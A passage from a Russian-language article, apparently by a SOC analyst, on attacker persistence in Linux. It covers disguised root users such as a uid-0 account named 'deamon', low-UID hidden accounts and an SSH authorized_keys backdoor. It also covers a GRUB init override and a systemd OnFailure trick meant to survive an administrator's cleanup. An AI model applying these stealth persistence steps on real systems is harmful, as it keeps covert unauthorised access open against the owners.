rocket science. \u041d\u0438\u0447\u0435\u0433\u043e \u0442\u0430\u043a\u043e\u0433\u043e, \u043e \u0447\u0435\u043c \u0432\u0430\u043c \u0434\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0433\u043b\u043e \u0431\u044b\u0442\u044c \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e. \u041d\u0443 \u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u044f \u043f\u0438\u0441\u0430\u043b\u0430 \u0441\u0442\u0430\u0442\u044c\u044e \u0432 \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445. \u0412\u0441\u0435, \u0447\u0442\u043e \u0432\u044b \u0434\u0435\u043b\u0430\u0435\u0442\u0435 \u043f\u043e\u0442\u043e\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0432\u0430\u0448\u0435\u0439 \u0441\u043e\u0432\u0435\u0441\u0442\u0438 \u0438 \u043f\u043e\u0434 \u0432\u0430\u0448\u0443 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c.<\/p>\n<h4>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<\/h4>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043d\u0435 \u0441\u043c\u0435\u043d\u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c, \u043e \u043d\u0435\u043c \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0437\u043d\u0430\u0442\u044c. \u041c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0432\u043e\u0435\u0433\u043e. \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0447\u0435\u043b\u043b\u0435\u043d\u0436\u0434 &#8212; \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0435\u0433\u043e \u043d\u0435 \u0443\u0434\u0430\u043b\u0438\u043b\u0438.<\/p>\n<p>\u0423\u0440\u043e\u0432\u0435\u043d\u044c 0:&nbsp;<code>adduser hacker<\/code><\/p>\n<p>\u0423\u0440\u043e\u0432\u0435\u043d\u044c 1:&nbsp;<code>useradd -s \/bin\/bash hacker<\/code>&nbsp;&#8212; \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b: \u0438\u043f\u0443\u0442\u044c \u0434\u043e \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 (\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u043b\u044c\u0448\u0435 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c), \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, UID \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430: \u0417\u0430\u0434\u0430\u0439\u0442\u0435 UID \u043c\u0435\u043d\u044c\u0448\u0435 1000, \u0442\u043e\u0433\u0434\u0430 \u0432\u0430\u0448\u0430 \u0423\u0417 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0434\u043b\u044f \u0430\u0434\u043c\u0438\u043d\u0430 \u043a\u0430\u043a daemon. \u0418 \u0434\u0430\u0436\u0435 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u044d\u043a\u0440\u0430\u043d\u0435 \u043f\u0440\u0438\u0432\u0435\u0442\u0432\u0438\u044f (\u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 GUI?).&nbsp; \u041c\u043e\u0436\u043d\u043e \u0441\u0440\u0430\u0437\u0443 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0433\u0440\u0443\u043f\u043f\u0443 root. \u041d\u0443 \u0438\u043b\u0438 \u043d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u0445\u043e\u0442\u044f \u0431\u044b \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 sudoers.&nbsp;&nbsp;<\/p>\n<p>\u0423\u0440\u043e\u0432\u0435\u043d\u044c 99:&nbsp;<code>sudo useradd -o -u 0 -g 0 -s \/bin\/bash deamon<\/code>&nbsp;&#8212; \u042d\u0442\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u043c\u044b \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u043d\u0435\u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 UID \u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u043d\u043e\u0432\u043e\u0433\u043e root (uid = 0),&nbsp; \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043a\u0440\u0430\u0441\u043e\u0442\u0443 \u0438\u043c\u0435\u043d\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f &#8212; \u044d\u0442\u043e \u043d\u0435 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430.<\/p>\n<p>\u041e\u0441\u043e\u0431\u044b\u0435 \u0438\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u0446\u044b \u043c\u043e\u0433\u0443\u0442 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u0442\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b&nbsp;<code>\/etc\/passwd<\/code>,&nbsp;<code>\/etc\/shadow<\/code>&nbsp;\u0438&nbsp;<code>\/etc\/group<\/code>, \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0434\u043e\u043c\u0430\u0448\u043d\u044e\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e.<\/p>\n<p>\u041a\u0430\u043a \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a SOC \u043c\u043e\u0433\u0443 \u0432\u0430\u043c \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0442\u043e\u0447\u043d\u043e, \u043c\u044b \u043e\u0447\u0435\u043d\u044c \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432\u043e \u0432\u0441\u0435\u0445&nbsp;<code>\/etc\/passwd<\/code>&nbsp;\u0438&nbsp;<code>\/etc\/shadow<\/code>. \u0410 \u043f\u043e\u0442\u043e\u043c \u043c\u043e\u0433\u0443 \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0441\u043f\u043e\u0441\u043e\u0431 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0431\u0435\u0437 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0444\u0430\u0439\u043b&nbsp;<code>\/etc\/passwd<\/code>. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0432 \u0444\u0430\u0439\u043b\u0435&nbsp;<code>\/etc\/nsswitch.conf<\/code>&nbsp;\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u0431\u0430\u0437\u0443 passwd.<\/p>\n<p>###&nbsp; \u041a\u043b\u044e\u0447\u0438 SSH \u0414\u0440\u0443\u0433\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043d\u0435 \u043f\u043e\u0442\u0435\u0440\u044f\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 \u043f\u0430\u0440\u043e\u043b\u044f, \u044d\u0442\u043e \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432&nbsp;<code>~\/.ssh\/authorized_keys<\/code>. \u0422\u043e\u0433\u0434\u0430 \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043d\u0443\u0436\u0435\u043d. \u0412\u0441\u0435 \u043f\u0440\u043e\u0441\u0442\u043e, \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442\u0435 \u043a\u043b\u044e\u0447&nbsp;<code>ssh-keygen<\/code>, \u043a\u043b\u044e\u0447&nbsp;<code>.pub<\/code>&nbsp;\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0435 \u0432&nbsp;<code>authorized_keys<\/code>, \u0438 \u043d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 (600), \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u0435\u0449\u0435 \u043d\u0435 \u0441\u0434\u0435\u043b\u0430\u043d\u043e. \u0418\u043d\u0430\u0447\u0435 \u043d\u0435 \u0441\u043c\u043e\u0436\u0435\u0442\u0435 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0441\u0432\u043e\u0438\u043c \u0431\u0435\u043a\u0434\u043e\u0440\u043e\u043c.<\/p>\n<h4>&#171;\u0410\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430&#187;<\/h4>\n<p>\u041f\u043e\u0434 \u0430\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u044f \u0442\u0443\u0442 \u043f\u043e\u043d\u0438\u043c\u0430\u044e \u043b\u044e\u0431\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438\u043b\u0438 \u0432\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u0433\u0434\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f, \u043d\u0430\u0434\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u0430\u043a\u0438\u0435 \u0435\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u044b.<\/p>\n<p><strong>\u0410\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430<\/strong><\/p>\n<p>\u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u044f\u0434\u0440\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0443\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 (systemd, init, upstart). \u0422\u0443\u0442 \u043c\u044b \u0432\u0440\u044f\u0434 \u043b\u0438 \u0441\u043c\u043e\u0436\u0435\u043c \u0432\u044b\u043d\u0435\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0435\u0431\u044f \u043a\u0430\u043a\u0443\u044e-\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u0443. \u0432 \u0444\u0430\u0439\u043b\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Grub&nbsp;<code>\/boot\/grub2\/grub.cfg<\/code>&nbsp;\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u044f\u0434\u0440\u0430 init \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043a\u0430\u043a\u0443\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0441\u0442\u043e\u0438\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044f\u0434\u0440\u0430. \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443&nbsp;<code>bash<\/code>&nbsp;\u0432\u043c\u0435\u0441\u0442\u043e&nbsp;<code>systemd<\/code>. \u041e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0434\u043b\u044f \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u044f root, \u0435\u0441\u043b\u0438 \u0432\u044b \u0435\u0433\u043e \u0437\u0430\u0431\u044b\u043b\u0438.&nbsp;<\/p>\n<pre><code class=\"bash\">linux \/vmlinuz-4.8.0-22-generic root=\/dev\/mapper\/systems-ubuntu ro quiet init=\/bin\/bash<\/code><\/pre>\n<p><strong>systemd &#8212; \u0430\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438<\/strong><\/p>\n<p>\u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0437\u0430\u043f\u0443\u0441\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0434\u0435\u043c\u043e\u043d\u043e\u0432, \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u041e\u0431\u044b\u0447\u043d\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u043c\u0435\u0435\u0442 PID 1. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443&nbsp;<code>ps -p1 | grep \"init\\|upstart\\|systemd<\/code>, \u0447\u0442\u043e\u0431\u044b \u0443\u0437\u043d\u0430\u0442\u044c \u0441\u0432\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. \u0421\u0430\u043c\u043e\u0439 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f&nbsp;<code>systemd<\/code>. \u041b\u044e\u0431\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0430\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0438\u0441. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c unit-\u0444\u0430\u0439\u043b:<\/p>\n<pre><code>[Unit] Description=My Script Service After=multi-user.target [Service] Type=idle ExecStart=\/usr\/bin\/local\/script.sh [Install] WantedBy=multi-user.target<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043d\u0443\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c&nbsp;<code>sudo chmod u+x \/usr\/local\/bin\/script.sh<\/code>&nbsp;\u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u0443&nbsp;<code>sudo systemctl enable myscript.service<\/code>.<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u044b \u043c\u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0435, \u044f \u043d\u0435 \u0431\u0443\u0434\u0443 \u0442\u0443\u0442 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442 unit-\u0444\u0430\u0439\u043b\u043e\u0432. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0435\u0441\u0442\u044c Google. (<a href=\"https:\/\/docs.fedoraproject.org\/en-US\/quick-docs\/understanding-and-administering-systemd\/index.html\" rel=\"noopener noreferrer nofollow\">\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0442.<\/a>). \u0414\u0430 \u0438 \u044d\u0442\u043e \u0432\u044b\u0445\u043e\u0434\u0438\u0442 \u0437\u0430 \u0440\u0430\u043c\u043a\u0438 \u0442\u0435\u043c\u044b \u0441\u0442\u0430\u0442\u044c\u0438. \u041d\u043e \u0441\u0442\u043e\u0438\u0442 \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0433\u0434\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f unit-\u0444\u0430\u0439\u043b\u044b:&nbsp;<\/p>\n<ul>\n<li>\n<p><code>\/usr\/lib\/systemd\/system\/<\/code>&nbsp;\u2013 \u044e\u043d\u0438\u0442\u044b \u0438\u0437 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 RPM \u2014 \u0432\u0441\u044f\u043a\u0438\u0435 nginx, apache, mysql \u0438 \u043f\u0440\u043e\u0447\u0435\u0435<\/p>\n<\/li>\n<li>\n<p><code>\/run\/systemd\/system\/<\/code>&nbsp;\u2014 \u044e\u043d\u0438\u0442\u044b, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u043d\u0430 \u043b\u0435\u0442\u0443 \u2014 \u043e \u043d\u0438\u0445 \u0447\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435<\/p>\n<\/li>\n<li>\n<p><code>~\/.config\/systemd\/user\/<\/code>&nbsp;&#8212; \u044d\u0442\u043e\u0442 \u043f\u0443\u0442\u044c \u0431\u0443\u0434\u0435\u0442 \u0432\u0430\u043c \u043f\u043e\u043b\u0435\u0437\u0435\u043d, \u0435\u0441\u043b\u0438 \u0432\u044b \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u0434\u043d\u044f\u0442\u044c\u0441\u044f \u0434\u043e root. \u0422\u0443\u0442 \u043b\u0435\u0436\u0430\u0442 user-mode services.&nbsp;<\/p>\n<\/li>\n<li>\n<p><code>\/etc\/systemd\/system\/<\/code>&nbsp;\u2014 \u044e\u043d\u0438\u0442\u044b, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c. \u0421\u044e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c \u0441\u0432\u043e\u0438 unit-\u0444\u0430\u0439\u043b\u044b. \u0410 \u043c\u043e\u0436\u043d\u043e \u0432\u043d\u0435\u0441\u0442\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435, \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043c\u0435\u043d\u0435\u0435 \u0437\u0430\u043c\u0435\u0442\u043d\u043e. \u0422\u0443\u0442 \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u0435\u0442 \u0432\u0430\u0448\u0435\u0439 \u0444\u0430\u043d\u0442\u0430\u0437\u0438\u0438.<\/p>\n<\/li>\n<\/ul>\n<ol>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u0439\u0442\u0435 \u0441\u0432\u043e\u0439 \u0441\u0435\u0440\u0432\u0438\u0441.<\/p>\n<\/li>\n<li>\n<p>\u0412\u043f\u0438\u0448\u0438\u0442\u0435 \u0435\u0433\u043e \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 Requires \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430. \u0418 \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 \u0441\u0432\u043e\u0439 \u043a\u043e\u0434 \u0441 \u0441\u0435\u043a\u0446\u0438\u044e OnFailure. \u0412 \u0438\u0442\u043e\u0433\u0435 \u0432\u0430\u0448 \u0441\u0435\u0440\u0432\u0438\u0441 \u0431\u0443\u0434\u0435\u0442 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u0442\u044c \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c. \u0415\u0441\u043b\u0438 \u0444\u0430\u0439\u043b \u0441 \u044e\u043d\u0438\u0442\u043e\u043c \u043d\u0430\u0439\u0434\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0438 \u0443\u0434\u0430\u043b\u0438\u0442 \u0435\u0433\u043e, \u0442\u043e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0435 \u0441\u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0440\u0442\u0430\u043d\u0443\u0442\u044c (\u043d\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0439 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438), \u0432\u044b\u0437\u043e\u0432\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c\u0441\u044f \u043a\u043e\u0434 \u0438\u0437 \u0441\u0435\u043a\u0446\u0438\u0438 OnFailure.<\/p>\n<\/li>\n<\/ol>\n<p><strong>\u041a\u0430\u043a\u0438\u0435 \u0434\u0435\u043c\u043e\u043d\u044b \u0442\u0435\u0431\u044f \u0432\u0435\u0434\u0443\u0442?<\/strong><\/p>\n<p>\u0422\u0443\u0442 \u0441\u0442\u043e\u0438\u0442 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0440\u0435\u043c\u0430\u0440\u043a\u0443, systemd \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438 \u0438 \u0434\u0435\u043c\u043e\u043d\u0430\u043c\u0438, \u0438 \u044d\u0442\u043e \u0440\u0430\u0437\u043d\u044b\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438. \u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0434\u0435\u043c\u043e\u043d\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0444\u043e\u043d\u043e\u0432\u0430\u044f \u043d\u0435\u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u0430 \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430. \u041f\u043e\u043c\u0438\u043c\u043e \u0441\u0432\u043e\u0438\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0434\u0435\u043c\u043e\u043d\u044b. \u0422\u0438\u043f\u043e\u0432 \u044e\u043d\u0438\u0442\u043e\u0432 